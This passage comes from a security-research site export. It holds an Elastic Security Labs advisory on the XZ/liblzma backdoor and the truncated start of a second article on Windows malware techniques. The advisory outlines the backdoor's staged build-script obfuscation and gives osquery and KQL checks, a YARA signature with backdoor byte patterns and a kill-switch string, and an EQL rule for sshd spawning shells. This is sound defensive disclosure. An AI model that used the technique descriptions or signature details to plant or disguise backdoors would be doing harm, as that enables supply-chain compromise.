signatures, detection rules, and osquery queries, allowing Linux system maintainers to understand the impact and block potential compromises early.\"}),`\n`]}),`\n`,(0,i.jsx)(e.h2,{id:\"the-xz--liblzma-backdoor-at-a-glance\",children:\"The XZ / liblzma backdoor at a glance\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"On March 29 2024, the widely adopted XZ package used within many Linux distributions as a library used by the system to interact with SSH client connections (and many other system utilities) was pulled into the spotlight after a \",(0,i.jsx)(e.em,{children:\"500ms\"}),\" delay with intermittent failures. What began as a routine investigation into that anomaly would take a surprising and unexpected twist: malicious, obfuscated code was planted in the package by a maintainer\\u2013code that was also in circulation for a few weeks via a poisoned build process.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"Andres Freund, the developer who initially \",(0,i.jsx)(e.a,{href:\"https://www.openwall.com/lists/oss-security/2024/03/29/4\",rel:\"nofollow\",children:\"identified the malicious contributions\"}),\", observed that the changes had been implemented in versions \",(0,i.jsx)(e.code,{children:\"5.6.0\"}),\" and \",(0,i.jsx)(e.code,{children:\"5.6.1\"}),\" of the XZ Utils package but had not been widely adopted across all Linux distributions, outside of select bleeding-edge variants typically used for early-stage testing.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.a,{href:\"https://bsky.app/profile/filippo.abyssdomain.expert/post/3kowjkx2njy2b\",rel:\"nofollow\",children:\"Initial analysis\"}),\" has shown that the backdoor is designed to circumvent authentication controls in \",(0,i.jsx)(e.code,{children:\"sshd\"}),\" via \",(0,i.jsx)(e.code,{children:\"systemd\"}),\" and attempts to execute code within a pre-authentication context. Observations made so far have shown that the malicious code is not in its final target state and was perhaps caught early through haphazard mistakes the developer neglected to consider, causing impacts to legitimate SSH use cases.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"Alongside the malicious package being circulated within a small number of Linux distributions, several observations have been made in the popular package management software HomeBrew, which has impacted some macOS users. The maintainers of Homebrew-- and other software packages that included this library-- are presently rolling back to prior versions that aren't impacted by these malicious changes, although mainly out of an abundance of caution, as compromised builds were only targeting deb and rpm packages.\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"The following notice was released on the Tukaani Project\\u2019s homepage (the project owner of the \",(0,i.jsx)(e.a,{href:\"https://github.com/tukaani-project/xz\",rel:\"nofollow\",children:\"XZ Utils Git repository\"}),\") shortly after the news of the backdoor broke.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/500ms-to-midnight/image2.png\",alt:\"XZ Utils backdoor notification on the Tukaani Project\",title:\"XZ Utils backdoor notification on the Tukaani Project\",width:\"759\",height:\"1018\"})}),`\n`,(0,i.jsx)(e.p,{children:\"The compromise itself, while high risk, is relatively minor in terms of real-world impact given the stage of discovery. This situation should remind security professionals about the importance of understanding supply-chain compromise, monitoring Linux workloads, and auditing system controls. In this situation, defenders had the advantage of time.\"}),`\n`,(0,i.jsx)(e.h2,{id:\"backdoor-analysis\",children:\"Backdoor analysis\"}),`\n`,(0,i.jsx)(e.h3,{id:\"xz-backdoor-build-process\",children:\"XZ backdoor build process:\"}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.a,{href:\"https://nvd.nist.gov/vuln/detail/CVE-2024-3094\",rel:\"nofollow\",children:\"CVE-2024-3094\"}),\" explains how the changes in the \",(0,i.jsx)(e.code,{children:\"liblzma\"}),\" were created from the malicious additions to the library\\u2019s build scripts and directly impacts any software that links the library on an impacted system.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"The maliciously modified build script is divided into three stages, starting with the additions in \",(0,i.jsx)(e.code,{children:\"m4/build-to-host.m4\"}),\" and progressing through the obfuscation and execution stages. At a high level, some obfuscation techniques include character substitution and selective byte processing commands via the \",(0,i.jsx)(e.code,{children:\"tr\"}),\" and \",(0,i.jsx)(e.code,{children:\"head\"}),\" commands to decode and execute the malicious payloads in the test files. Interestingly, many impacted tools used are standard Linux system tools typically used by administrators for legitimate purposes.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"The \",(0,i.jsx)(e.a,{href:\"https://gynvael.coldwind.pl/?lang=en\u0026id=782\",rel:\"nofollow\",children:\"build process\"}),\" runs as follows :\"]}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Stage 0:\"}),\" The initial malicious code additions attempt to decode the Stage 1 script (hidden code segments) by changing byte values from specific test files, which under normal circumstances appear corrupt, to form a valid XZ stream.\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Stage 1:\"}),\" This stage leverages a bash file with special checks (e.g., the Linux architecture the script runs on) and Bash commands to analyze the environment (e.g. \",(0,i.jsx)(e.code,{children:'[ \"$(uname)\" = \"Linux\" ]'}),\") to ensure compatible conditions are met for the backdoor. Depending on the outcome of the checks, additional malicious scripts or payloads may be executed.\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Stage 2:\"}),\" This phase involves an infected.txt file, which details the altered extraction and compilation code modifications, namely:\",`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[\"Reconstruction Data: Byte manipulation and decoding techniques on obfuscated compressed data from test files to reconstruct the malicious payload using commands like \",(0,i.jsx)(e.code,{children:\"sed\"}),\" and \",(0,i.jsx)(e.code,{children:\"awk\"})]}),`\n`,(0,i.jsxs)(e.li,{children:[\"Obfuscation and Extraction: Complex decryption and obfuscation techniques using the \",(0,i.jsx)(e.code,{children:\"tr\"}),\" command to extract the binary backdoor to remain hidden from typical detection mechanisms\"]}),`\n`,(0,i.jsx)(e.li,{children:\"Build Process Manipulation: This changes the build and compilation steps to embed the binary backdoor into Linux system processes\"}),`\n`,(0,i.jsx)(e.li,{children:\"Extension Mechanism: A design that allows for new scripts and updates to the backdoor without modifying the original payload\"}),`\n`,(0,i.jsx)(e.li,{children:\"Future Stage Preparation: Sets the groundwork for malicious follow-up activities, like propagating the backdoor\"}),`\n`]}),`\n`]}),`\n`]}),`\n`,(0,i.jsx)(e.h2,{id:\"assessing-impact\",children:\"Assessing impact:\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Given the limited usage of the impacted beta distributions and software, this compromise should impact few systems. Maintainers of Linux systems are however encouraged to ensure systems are not running impacted versions of \",(0,i.jsx)(e.code,{children:\"xzutils\"}),\" / \",(0,i.jsx)(e.code,{children:\"liblzma\"}),\" by leveraging the following osquery queries:\"]}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.a,{href:\"https://gist.github.com/jamesspi/ee8319f55d49b4f44345c626f80c430f\",rel:\"nofollow\",children:\"Linux\"}),\":\"]}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`SELECT 'DEB Package' AS source, name, version,\n CASE\n WHEN version LIKE '5.6.0%' OR version LIKE '5.6.1%' THEN 'Potentially Vulnerable'\n ELSE 'Most likely not vulnerable'\n END AS status\nFROM deb_packages\nWHERE name = 'xz-utils' OR name = 'liblzma' OR name LIKE 'liblzma%'\nUNION\nSELECT 'RPM Package' AS source, name, version,\n CASE\n WHEN version LIKE '5.6.0%' OR version LIKE '5.6.1%' THEN 'Potentially Vulnerable'\n ELSE 'Most likely not vulnerable'\n END AS status\nFROM rpm_packages\nWHERE name = 'xz-utils' OR name = 'liblzma' OR name LIKE 'liblzma%';\n\n`})}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.a,{href:\"https://gist.github.com/jamesspi/5cb060b5e0e2d43222a71c876b56daab\",rel:\"nofollow\",children:\"macOS\"}),\":\"]}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`SELECT 'Homebrew Package' AS source, name, version,\n CASE\n WHEN version LIKE '5.6.0%' OR version LIKE '5.6.1%' THEN 'Potentially Vulnerable'\n ELSE 'Most likely not vulnerable'\n END AS status\nFROM homebrew_packages\nWHERE name = 'xz' OR name = 'liblzma';\n`})}),`\n`,(0,i.jsx)(e.p,{children:\"The following KQL query can be used to query Elastic Defend file events:\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`event.category : file and host.os.type : (macos or linux) and file.name : liblzma.so.5.6.*\n`})}),`\n`,(0,i.jsxs)(e.p,{children:[\"Alternatively, manually checking the version of XZ running on a system is as simple as running the \",(0,i.jsx)(e.a,{href:\"https://x.com/Kostastsale/status/1773890846250926445?s=20\",rel:\"nofollow\",children:\"following commands\"}),\" (from researcher \",(0,i.jsx)(e.a,{href:\"https://twitter.com/Kostastsale\",rel:\"nofollow\",children:\"Kostas\"}),\") and checking the output version. Remember, versions 5.6.0 and 5.6.1 are impacted and should be rolled back or updated to a newer version.\"]}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`for xz_p in $(type -a xz | awk '{print $NF}' | uniq); do strings \"$xz_p\" | grep \"xz (XZ Utils)\" || echo \"No match found for $xz_p\"; done\n`})}),`\n`,(0,i.jsx)(e.h2,{id:\"malware-protection\",children:\"Malware protection\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"The following \",(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Linux_Trojan_XZBackdoor.yar\",rel:\"nofollow\",children:\"YARA signature\"}),\" (disk and in-memory) is deployed in Elastic Defend to block the XZ backdoor.\"]}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`rule Linux_Trojan_XZBackdoor {\n meta:\n author = \"Elastic Security\"\n fingerprint = \"f1982d1db5aacd2d6b0b4c879f9f75d4413e0d43e58ea7de2b7dff66ec0f93ab\"\n creation_date = \"2024-03-30\"\n last_modified = \"2024-03-31\"\n threat_name = \"Linux.Trojan.XZBackdoor\"\n reference_sample = \"5448850cdc3a7ae41ff53b433c2adbd0ff492515012412ee63a40d2685db3049\"\n severity = 100\n arch_context = \"x86\"\n scan_context = \"file, memory\"\n license = \"Elastic License v2\"\n os = \"linux\"\n strings:\n /* potential backdoor kill-switch as per https://gist.github.com/q3k/af3d93b6a1f399de28fe194add452d01?permalink_comment_id=5006558#file-hashes-txt-L115 */\n $a1 = \"yolAbejyiejuvnup=Evjtgvsh5okmkAvj\"\n/* function signature in liblzma used by sshd */\n $a2 = { F3 0F 1E FA 55 48 89 F5 4C 89 CE 53 89 FB 81 E7 00 00 00 80 48 83 EC 28 48 89 54 24 18 48 89 4C 24 10 }\n /* unique byte patterns in backdoored liblzma */\n $b1 = { 48 8D 7C 24 08 F3 AB 48 8D 44 24 08 48 89 D1 4C 89 C7 48 89 C2 E8 ?? ?? ?? ?? 89 C2 }\n $b2 = { 31 C0 49 89 FF B9 16 00 00 00 4D 89 C5 48 8D 7C 24 48 4D 89 CE F3 AB 48 8D 44 24 48 }\n $b3 = { 4D 8B 6C 24 08 45 8B 3C 24 4C 8B 63 10 89 85 78 F1 FF FF 31 C0 83 BD 78 F1 FF FF 00 F3 AB 79 07 }\n condition:\n 1 of ($a*) or all of ($b*)\n}\n`})}),`\n`,(0,i.jsx)(e.p,{children:\"Detections of this signature will appear in Elastic as follows:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/500ms-to-midnight/image4.png\",alt:\"Detecting the Linux.Trojan.XZBackdoor signature in Elastic\",title:\"Detecting the Linux.Trojan.XZBackdoor signature in Elastic\",width:\"1440\",height:\"637\"})}),`\n`,(0,i.jsx)(e.h2,{id:\"behavior-detection\",children:\"Behavior Detection\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Leveraging \",(0,i.jsx)(e.a,{href:\"https://docs.elastic.co/en/integrations/endpoint\",rel:\"nofollow\",children:\"Elastic Defend\"}),\"\\u2019s network and process events, we published a new EQL \",(0,i.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_suspicious_ssh_execution_xzbackdoor.toml\",rel:\"nofollow\",children:\"detection rule\"}),\" to identify instances where the SSHD service starts, spawns a shell process and immediately terminates unexpectedly all within a very short time span:\"]}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`sequence by host.id, user.id with maxspan=1s\n [process where host.os.type == \"linux\" and event.type == \"start\" and event.action == \"exec\" and process.name == \"sshd\" and\n process.args == \"-D\" and process.args == \"-R\"] by process.pid, process.entity_id\n [process where host.os.type == \"linux\" and event.type == \"start\" and event.action == \"exec\" and process.parent.name == \"sshd\" and \n process.executable != \"/usr/sbin/sshd\"] by process.parent.pid, process.parent.entity_id\n [process where host.os.type == \"linux\" and event.action == \"end\" and process.name == \"sshd\" and process.exit_code != 0] by process.pid, process.entity_id\n [network where host.os.type == \"linux\" and event.type == \"end\" and event.action == \"disconnect_received\" and process.name == \"sshd\"] by process.pid, process.entity_id\n`})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/500ms-to-midnight/image1.png\",alt:\"Matches while simulating execution via the backdoor using XZBot - github.com/amlweems/xzbot\",title:\"Matches while simulating execution via the backdoor using XZBot - github.com/amlweems/xzbot\",width:\"1360\",height:\"922\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/500ms-to-midnight/image3.png\",alt:\"Timeline view displaying events matching the EQL query\",title:\"Timeline view displaying events matching the EQL query\",width:\"1440\",height:\"695\"})}),`\n`,(0,i.jsx)(e.h2,{id:\"linux-the-final-frontier\",children:\"Linux: the final frontier\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"While observations of supply chain-based attacks or exploitation of vulnerabilities rarely reach this level of global press coverage, Elastic\\u2019s observations described in the \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/explore/security-without-limits/global-threat-report\",rel:\"nofollow\",children:\"2023 Global Threat Report\"}),\" show that Linux-based signature events continue to grow in our dataset. This growth is partially tied to growth in the systems we observe that report on threat behavior, but it strongly suggests that adversaries are becoming increasingly focused on Linux systems.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"Linux is and will continue to be on the \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor\",rel:\"nofollow\",children:\"minds of threat groups\"}),\", as its widespread adoption across the internet reinforces its importance. In this case, adversarial groups were trying to circumvent existing controls that would allow for future compromise through other means.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"While the objectives of the person(s) behind the XZ backdoor haven\\u2019t been made clear yet, it is within the technical capabilities of many threat entities focused on espionage, extortion, destruction of data, intellectual property theft, and human rights abuses. With the ability to execute code on impacted Internet-accessible systems, it\\u2019s reasonable to assume that bad actors would further infiltrate victims. Elastic Security Labs sees that Linux visibility has been dramatically improving and enterprises have started to effectively manage their Linux populations, but many organizations reacting to this supply chain compromise are still at the start of that process.\"})]})}function k(t={}){let{wrapper:e}=t.components||{};return e?(0,i.jsx)(e,Object.assign({},t,{children:(0,i.jsx)(d,t)})):d(t)}var x=k;return w(E);})();\n;return Component;"},"_id":"articles/500ms-to-midnight.mdx","_raw":{"sourceFilePath":"articles/500ms-to-midnight.mdx","sourceFileName":"500ms-to-midnight.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/500ms-to-midnight"},"type":"Article","imageUrl":"/assets/images/500ms-to-midnight/500ms-to-midnight.jpg","readingTime":"11 min read","series":"","url":"/500ms-to-midnight","headings":[{"level":2,"title":"Key Takeaways","href":"#key-takeaways"},{"level":2,"title":"The XZ / liblzma backdoor at a glance","href":"#the-xz--liblzma-backdoor-at-a-glance"},{"level":2,"title":"Backdoor analysis","href":"#backdoor-analysis"},{"level":3,"title":"XZ backdoor build process:","href":"#xz-backdoor-build-process"},{"level":2,"title":"Assessing impact:","href":"#assessing-impact"},{"level":2,"title":"Malware protection","href":"#malware-protection"},{"level":2,"title":"Behavior Detection","href":"#behavior-detection"},{"level":2,"title":"Linux: the final frontier","href":"#linux-the-final-frontier"}],"author":[{"title":"Samir Bousseaden","slug":"samir-bousseaden","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var d=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),l=(t,e)=\u003e{for(var n in e)s(t,n,{get:e[n],enumerable:!0})},u=(t,e,n,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of f(e))!g.call(t,o)\u0026\u0026o!==n\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=d(e,o))||a.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?x(_(t)):{},u(e||!t||!t.__esModule?s(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003eu(s({},\"__esModule\",{value:!0}),t);var m=j((h,i)=\u003e{i.exports=_jsx_runtime});var F={};l(F,{default:()=\u003eD,frontmatter:()=\u003eb});var r=p(m()),b={title:\"Samir Bousseaden\",slug:\"samir-bousseaden\"};function c(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(c,t)})):c(t)}var D=C;return M(F);})();\n;return Component;"},"_id":"authors/samir-bousseaden.mdx","_raw":{"sourceFilePath":"authors/samir-bousseaden.mdx","sourceFileName":"samir-bousseaden.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/samir-bousseaden"},"type":"Author","imageUrl":"","url":"/authors/samir-bousseaden"},{"title":"Mika Ayenson, PhD","slug":"mika-ayenson","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var a=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),M=(t,n)=\u003e{for(var e in n)a(t,e,{get:n[e],enumerable:!0})},i=(t,n,e,s)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let o of _(n))!j.call(t,o)\u0026\u0026o!==e\u0026\u0026a(t,o,{get:()=\u003en[o],enumerable:!(s=f(n,o))||s.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?x(g(t)):{},i(n||!t||!t.__esModule?a(e,\"default\",{value:t,enumerable:!0}):e,t)),p=t=\u003ei(a({},\"__esModule\",{value:!0}),t);var m=l((F,c)=\u003e{c.exports=_jsx_runtime});var k={};M(k,{default:()=\u003eh,frontmatter:()=\u003ey});var r=d(m()),y={title:\"Mika Ayenson, PhD\",slug:\"mika-ayenson\"};function u(t){return(0,r.jsx)(r.Fragment,{})}function D(t={}){let{wrapper:n}=t.components||{};return n?(0,r.jsx)(n,Object.assign({},t,{children:(0,r.jsx)(u,t)})):u(t)}var h=D;return p(k);})();\n;return Component;"},"_id":"authors/mika-ayenson.mdx","_raw":{"sourceFilePath":"authors/mika-ayenson.mdx","sourceFileName":"mika-ayenson.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/mika-ayenson"},"type":"Author","imageUrl":"","url":"/authors/mika-ayenson"},{"title":"Jake King","slug":"jake-king","description":"Elastic Security Intelligence Team Lead","image":"jake-king.jpg","body":{"raw":"","code":"var Component=(()=\u003e{var u=Object.create;var i=Object.defineProperty;var j=Object.getOwnPropertyDescriptor;var l=Object.getOwnPropertyNames;var x=Object.getPrototypeOf,d=Object.prototype.hasOwnProperty;var f=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),k=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},c=(t,e,n,o)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of l(e))!d.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(o=j(e,a))||o.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?u(x(t)):{},c(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),_=t=\u003ec(i({},\"__esModule\",{value:!0}),t);var g=f((L,s)=\u003e{s.exports=_jsx_runtime});var D={};k(D,{default:()=\u003eC,frontmatter:()=\u003eM});var r=p(g()),M={title:\"Jake King\",description:\"Elastic Security Intelligence Team Lead\",slug:\"jake-king\",image:\"jake-king.jpg\"};function m(t){return(0,r.jsx)(r.Fragment,{})}function y(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(m,t)})):m(t)}var C=y;return _(D);})();\n;return Component;"},"_id":"authors/jake-king.mdx","_raw":{"sourceFilePath":"authors/jake-king.mdx","sourceFileName":"jake-king.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/jake-king"},"type":"Author","imageUrl":"/assets/images/authors/jake-king.jpg","url":"/authors/jake-king"}],"category":[{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"},{"title":"Vulnerability updates","slug":"vulnerability-updates","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var o=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var d=Object.getOwnPropertyNames;var f=Object.getPrototypeOf,p=Object.prototype.hasOwnProperty;var _=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),g=(t,e)=\u003e{for(var n in e)o(t,n,{get:e[n],enumerable:!0})},u=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of d(e))!p.call(t,a)\u0026\u0026a!==n\u0026\u0026o(t,a,{get:()=\u003ee[a],enumerable:!(s=x(e,a))||s.enumerable});return t};var j=(t,e,n)=\u003e(n=t!=null?m(f(t)):{},u(e||!t||!t.__esModule?o(n,\"default\",{value:t,enumerable:!0}):n,t)),b=t=\u003eu(o({},\"__esModule\",{value:!0}),t);var c=_((X,i)=\u003e{i.exports=_jsx_runtime});var D={};g(D,{default:()=\u003eC,frontmatter:()=\u003ey});var r=j(c()),y={title:\"Vulnerability updates\",slug:\"vulnerability-updates\"};function l(t){return(0,r.jsx)(r.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(l,t)})):l(t)}var C=M;return b(D);})();\n;return Component;"},"_id":"categories/vulnerability-updates.mdx","_raw":{"sourceFilePath":"categories/vulnerability-updates.mdx","sourceFileName":"vulnerability-updates.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/vulnerability-updates"},"type":"Category","url":"/categories/vulnerability-updates"}]},{"title":"Unveiling malware behavior trends","slug":"unveiling-malware-behavior-trends","date":"2024-03-20","description":"An analysis of a diverse dataset of Windows malware extracted from more than 100,000 samples revealing insights into the most prevalent tactics, techniques, and procedures.","image":"Security Labs Images 20.jpg","subtitle":"Analyzing a Windows dataset of over 100,000 malicious files","body":{"raw":"\n## Preamble\n\nWhen prioritizing detection engineering efforts, it's essential to understand the most prevalent tactics, techniques, and procedures (TTPs) observed in the wild. This knowledge helps defenders make informed decisions about the most effective strategies to implement - especially where to focus engineering efforts and finite resources.\n\nTo highlight these prevalent TTPs, we analyzed over [100,000 Windows malware samples](https://gist.github.com/Samirbous/eebeb8f776f7ab2d51cdd2ac05669dcf) extracted over several months from one of our dynamic malware analysis tools, [Detonate](https://www.elastic.co/security-labs/click-click-boom-automating-protections-testing-with-detonate). To generate this data and alerts, we leveraged Elastic Defend behavior (mapped to MITRE ATT\u0026CK) and [memory threat detection](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html#memory-protection) rules. It should be noted that this dataset is not exhaustive, it may not represent the entire spectrum of malware behavior, and specifically does not include long-term or interactive activity.\n\nBelow an [ES|QL](https://www.elastic.co/blog/esql-elasticsearch-piped-query-language) query to summarize our dataset by file type:\n\n\n\n\n## Tactics\n\nBeginning with tactics, we aggregated the alerts generated by this corpus of malware samples and organized them according to the counts of [```process.entity_id```](https://www.elastic.co/guide/en/ecs/current/ecs-process.html#field-process-entity-id) and alerts. As depicted in the image below, the most frequent tactics included defense evasion, privilege escalation, execution, and persistence. Certain tactics commonly linked with post-exploitation activities, such as lateral movement, provided an anticipated lower prevalence because these actions are commonly manually driven by the threat actor after the initial implant is established vs. being automated by the malware in our dataset.\n\n\n\n\nIn the following sections, we will delve into each tactic and the techniques and sub-techniques of each that exerted the most influence.\n\n### Defense Evasion\n\nDefense Evasion involves methods employed by adversaries to avoid detection by security teams or capabilities. The foremost tactic detected was defense evasion, triggering 189 distinct detection rules (nearly 40% of our current Windows rules). The primary techniques noted are associated with [code injection](https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts+%22T1055%22\u0026type=code), [defense tampering](https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts+%22Impair+Defenses%22\u0026type=code), [masquerading](https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts+%22Masquerade+Task+or+Service%22\u0026type=code), and [system binary proxy execution](https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts+%22T1218%22\u0026type=code).\n\n\n\n\nWhen we pivot by sub-techniques, it becomes evident that certain advanced techniques such as [DLL side-loading](https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts+%22DLL+Side-Loading%22\u0026type=code\u0026p=1) and [Parent PID Spoofing](https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts%20%22Parent%20PID%20Spoofing%22\u0026type=code) have become increasingly popular, even among non-targeted malwares. Both are frequently linked with code injection and masquerading.\n\nFurthermore, system binary proxies [```Rundll32```](https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts+%22T1218.011%22\u0026type=code) and [```Regsvr32```](https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts+%22T1218.010%22\u0026type=code) remain highly abused, with a notable rise in the utilization of malicious [MSI installers](https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts+%22T1218.007%22\u0026type=code) for malware delivery. The practice of [masquerading](https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts+%22Masquerade+Task+or+Service%22\u0026type=code) as legitimate system binaries, whether through renaming or process hollowing, remains prevalent as well, serving as a means to evade user suspicion.\n\n\n\n\nTampering with Windows Defender stands out as the most frequently observed defense evasion tactic, emphasizing the importance for defenders to acknowledge that adversaries will attempt to obscure their activities. \n\nProcess Injection is prevalent across various malware families, whether they target legitimate system binaries remotely to blend in or employ self-injection (sometimes paired with DLL side-loading through a trusted binary). Furthermore, there is a noticeable uptick in the use of NTDLL unhooking to bypass security solutions reliant on user-mode APIs monitoring (Elastic Defend is not impacted).\n\n\n\n\nFrom our shellcode alerts we can clearly see that self-injection is more prevalent than remote: \n\n\n\n\nAlmost 50 unique vendors’ binaries abused for DLL side-loading, of which Microsoft is the top choice: \n\n\n\n\nDefense evasion comprises various techniques and sub-techniques necessitating comprehensive coverage due to their frequent occurrence. For instance, apart from [memory threat protection](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html#memory-protection), [half](https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts++name+%3D+%22Defense+Evasion%22\u0026type=code) of our rules are specifically tailored to address this tactic.\n\n### Privilege Escalation\n\nThis tactic consists of techniques that adversaries use to gain greater permissions on a system or network. The most commonly used techniques relate to [access token manipulation](https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts+%22T1134%22\u0026type=code), execution through privileged [system services](https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts+%22T1543.003%22\u0026type=code), and bypassing [User Account Control](https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts+%22T1548.002%22\u0026type=code).\n\n\n\n\nThe most frequently observed sub-technique involved impersonation as the Trusted Installer service, which aligns closely with defense evasion and often precedes attempts to manipulate system-protected resources. \n\nConcerning User Account Control bypass, the primary method we observed was elevation by [mimicking trusted directories](https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e), which is also related to DLL side-loading. Additionally, other methods like elevation via [extended startupinfo](https://github.com/decoder-it/psgetsystem) (elevated parent PID spoofing) are increasingly prevalent among commodity malware.\n\n\n\n\nAs evident from the list below, there's 